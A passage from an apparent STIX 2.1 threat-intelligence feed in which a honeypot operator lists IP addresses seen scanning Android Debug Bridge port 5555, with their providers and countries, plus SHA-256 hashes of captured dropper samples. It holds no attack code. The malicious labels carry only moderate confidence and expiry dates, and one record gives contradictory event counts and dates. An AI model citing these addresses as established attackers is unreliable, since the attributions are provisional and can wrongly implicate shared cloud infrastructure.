          "first_seen": "2026-05-11T06:33:09.000Z",
          "last_seen": "2026-05-11T06:35:26.173Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T13:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=204044; asn_org=Packet Star Networks Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-11T12:34:11.000Z | last_seen=2026-05-11T12:35:16.419Z | ports=5555 | cc=GB | asn=204044 | org=Packet Star Networks Limited",
      "id": "indicator--b35108f2-40a9-44cd-8ec0-97c612ad48d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.78.217.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:00:11.000Z",
      "valid_until": "2026-06-12T13:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-11T12:34:11.000Z",
          "last_seen": "2026-05-11T12:35:16.419Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "204044"
          ],
          "org": [
            "Packet Star Networks Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T13:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-11T12:34:24.000Z | last_seen=2026-05-11T12:35:25.326Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--779633c8-45e4-4e67-9713-8d5a936eaa67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.73.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T13:00:11.000Z",
      "valid_until": "2026-06-12T13:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-11T12:34:24.000Z",
          "last_seen": "2026-05-11T12:35:25.326Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-11T13:14:06.000Z | last_seen=2026-05-11T13:24:22.662Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d9b5c74f-09c6-4b4e-b6e5-672c57f8d71b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.65.143.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:00:02.000Z",
      "valid_until": "2026-06-12T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-11T13:14:06.000Z",
          "last_seen": "2026-05-11T13:24:22.662Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=SG; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=20 | first_seen=2026-05-11T13:20:58.000Z | last_seen=2026-05-11T13:31:35.653Z | ports=5555 | cc=SG | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--e6feed4a-77d7-4390-8dac-0758f735f136",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.8.186.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:00:02.000Z",
      "valid_until": "2026-06-12T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 20,
          "first_seen": "2026-05-11T13:20:58.000Z",
          "last_seen": "2026-05-11T13:31:35.653Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-11T13:12:57.000Z | last_seen=2026-05-11T13:14:08.550Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--80c5eb2e-d89b-4292-8d3c-2f4b380fb639",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:00:02.000Z",
      "valid_until": "2026-06-12T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-11T13:12:57.000Z",
          "last_seen": "2026-05-11T13:14:08.550Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=HK; asn=215778; asn_org=Alpha Strike Labs GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-11T13:12:59.000Z | last_seen=2026-05-11T13:23:09.977Z | ports=5555 | cc=HK | asn=215778 | org=Alpha Strike Labs GmbH",
      "id": "indicator--e1648b85-cb6e-4e2e-9da6-1c905fa0071f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T14:00:02.000Z",
      "valid_until": "2026-06-12T14:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-11T13:12:59.000Z",
          "last_seen": "2026-05-11T13:23:09.977Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "215778"
          ],
          "org": [
            "Alpha Strike Labs GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T15:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=MX; asn=22884; asn_org=TOTAL PLAY TELECOMUNICACIONES SA DE CV; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=13 | first_seen=2026-05-11T14:21:18.000Z | last_seen=2026-05-11T14:31:56.579Z | ports=5555 | cc=MX | asn=22884 | org=TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "id": "indicator--425e2159-64ff-4470-a82f-c229e7ab68f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '187.191.2.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T15:00:11.000Z",
      "valid_until": "2026-06-12T15:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 13,
          "first_seen": "2026-05-11T14:21:18.000Z",
          "last_seen": "2026-05-11T14:31:56.579Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "22884"
          ],
          "org": [
            "TOTAL PLAY TELECOMUNICACIONES SA DE CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T16:00:01.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-11T15:20:47.000Z | last_seen=2026-05-11T15:21:48.457Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--cc93e55a-b1a7-4865-b2de-67a9be67dfd2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T16:00:01.000Z",
      "valid_until": "2026-06-12T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-11T15:20:47.000Z",
          "last_seen": "2026-05-11T15:21:48.457Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-11T16:00:18.000Z | last_seen=2026-05-11T16:01:22.309Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4bd8cee0-b6d2-408d-827b-11191f56a86c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "valid_until": "2026-06-12T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-11T16:00:18.000Z",
          "last_seen": "2026-05-11T16:01:22.309Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4004b8630bd06be6be05dcfe4a19de67ba67a61da32981ed216470aa8c6a3c2b.raw; last_seen=2026-05-11T16:11:11.111Z",
      "id": "indicator--1c5744e6-2553-4dc6-94d7-f377ea011233",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '4004b8630bd06be6be05dcfe4a19de67ba67a61da32981ed216470aa8c6a3c2b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/42367d2018e937937ceff927f9600e55342a8a0fd3df1ccb30b3876a76f6a230.raw; last_seen=2026-05-11T16:11:09.937Z",
      "id": "indicator--31d55f05-7dfd-4fe7-a8b1-3480d47159b4",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '42367d2018e937937ceff927f9600e55342a8a0fd3df1ccb30b3876a76f6a230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5e98402e6e99f0c46c92c15cd471c8811dbdfd88a0744e448f9d3fc0244a56ae.raw; last_seen=2026-05-11T16:11:10.575Z",
      "id": "indicator--44e55839-4814-4c1c-83a3-fefb0764ba16",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '5e98402e6e99f0c46c92c15cd471c8811dbdfd88a0744e448f9d3fc0244a56ae']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/7719dd43fc49008c43edd1898cc2ec48260d863a8ab43a17632670f8efdf7ba8.raw; last_seen=2026-05-11T16:11:08.778Z",
      "id": "indicator--2866abce-9715-4ec2-a907-d9934dd8cc8c",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '7719dd43fc49008c43edd1898cc2ec48260d863a8ab43a17632670f8efdf7ba8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T17:00:11.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/d840e0277d804fa0dfead89bf2b35ce77642f8b65985f5bc1516d0aafbd1328a.raw; last_seen=2026-05-11T16:11:09.509Z",
      "id": "indicator--c786507c-413b-46cb-90b8-cec7b61c7cd7",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = 'd840e0277d804fa0dfead89bf2b35ce77642f8b65985f5bc1516d0aafbd1328a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T17:00:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-11T17:03:55.000Z | last_seen=2026-05-13T17:18:17.194Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--ab70e922-93d7-4f55-8eb6-3117ca00d3b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:00:02.000Z",
      "valid_until": "2026-06-12T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-11T17:03:55.000Z",
          "last_seen": "2026-05-13T17:18:17.194Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=27 | first_seen=2026-05-11T17:40:27.000Z | last_seen=2026-05-11T17:52:59.701Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--a7477cf9-19fb-4124-8e64-b86faae37c57",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.15.163.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T18:00:02.000Z",
      "valid_until": "2026-06-12T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 27,
          "first_seen": "2026-05-11T17:40:27.000Z",
          "last_seen": "2026-05-11T17:52:59.701Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=SE; asn=57858; asn_org=Angelnet Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-11T18:40:26.000Z | last_seen=2026-05-11T18:50:49.344Z | ports=5555 | cc=SE | asn=57858 | org=Angelnet Limited",
      "id": "indicator--4a5b1e8e-5d94-4bef-9a9e-bc6f2cce5a92",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.231.148.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T19:00:02.000Z",
      "valid_until": "2026-06-12T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-11T18:40:26.000Z",
          "last_seen": "2026-05-11T18:50:49.344Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SE"
          ],
          "asn": [
            "57858"
          ],
          "org": [
            "Angelnet Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-11T21:00:02.000Z",
